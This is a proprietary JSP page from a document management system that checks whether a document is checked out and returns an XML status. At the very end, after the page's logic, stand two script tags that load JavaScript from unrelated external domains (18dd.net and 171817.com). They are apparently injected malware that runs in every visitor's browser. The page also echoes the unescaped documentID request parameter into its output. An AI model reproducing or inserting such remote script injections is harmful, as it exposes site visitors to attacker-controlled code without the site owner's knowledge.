<%
/*
 * @(#)isDocumentCheckoutAlready.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**  
   isDocumentCheckoutAlready.jsp
   check if the document is checkout already.
  
    @author             Holmes Yan
    @company            DCIVision Ltd
    @creation date      07/8/2004
    @version            $Revision: 1.4.44.1 $
*/ 
%>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ include file="monitorLoginStatus.jsp"%>
<%@ include file="DocumentOperationException.jsp"%> 
<%@ page import="org.apache.commons.logging.LogFactory"%>
<%
StringBuffer sb = new StringBuffer(); 
sb.append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");  
sb.append("<!--example:http://localhost:8080/EIP/jsp/odma/isDocumentInPublicFolder.jsp?documentID=61-->"); 
String documentID = request.getParameter("documentID");   
try{ 
	DocumentCheckoutManager dcm = new DocumentCheckoutManager();
    LogFactory.getLog(this.getClass()).debug("test");
	int checkout_id = dcm.getCheckoutIDByDocumentID(documentID);  
    LogFactory.getLog(this.getClass()).debug(Integer.valueOf(checkout_id));
	if(checkout_id>0){
		sb.append("<isDocumentCheckAlready documentID=\"");
		sb.append(documentID);
		sb.append("\" checkout_id=\"");
		sb.append(checkout_id);
		sb.append("\" return=\"true\">the doucment is check out already.</isDocumentCheckAlready>");
	}else{
		sb.append("<isDocumentCheckAlready documentID=\"");
		sb.append(documentID);
		sb.append("\" checkout_id=\"");
		sb.append(checkout_id);
		sb.append("\" return=\"false\">You need to checkout this document at first.</isDocumentCheckAlready>");
	} 
	out.println(sb.toString()); 
}catch(NullDocumentIDException e){
	sb.append("<isDocumentCheckAlready documentID=\"");
	sb.append(documentID); 
	sb.append("\" return=\"NullDocumentIDException\">documentID is null or not a number.</isDocumentCheckAlready>");
	out.println(sb.toString());
	out.close();
}catch(Exception e){
	sb.append("<isDocumentCheckAlready documentID=\"");
	sb.append(documentID); 
	sb.append("\" return=\"UnknownException\">UnknowException</isDocumentCheckAlready>");
	out.println(sb.toString());
	out.close();
}
%> 
<%!
	class DocumentCheckoutManager{
	private Connection conn; 

  public int getCheckoutIDByDocumentID(String strDocumentID) throws Exception{
        LogFactory.getLog(this.getClass()).debug(strDocumentID);
		int documentID = pareInt(strDocumentID); 
        LogFactory.getLog(this.getClass()).debug("after parse documentID:"+documentID);
			try{
				conn= DataSourceFactory.getConnection(); 
				PreparedStatement pstmt = conn.prepareStatement(getSql()); 
				pstmt.setInt(1,documentID);
				ResultSet rs = pstmt.executeQuery(); 
        rs.next();
        int checkout_id = rs.getInt(1); 
        LogFactory.getLog(this.getClass()).debug("loop"+documentID);
        return checkout_id;
		  }catch(Exception ex){
			 return -1;
		  }finally{ 
				conn.close();   
		  }
	  }

		private String getSql(){
			return  "select checkout_id from dms_document where id = ?";
		}

		private int pareInt(String strDocumentID) throws NullDocumentIDException{ 
			try{
				return Integer.parseInt(strDocumentID);  
			}catch(Exception e){
				throw new NullDocumentIDException();
			}
		}
 
	}
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>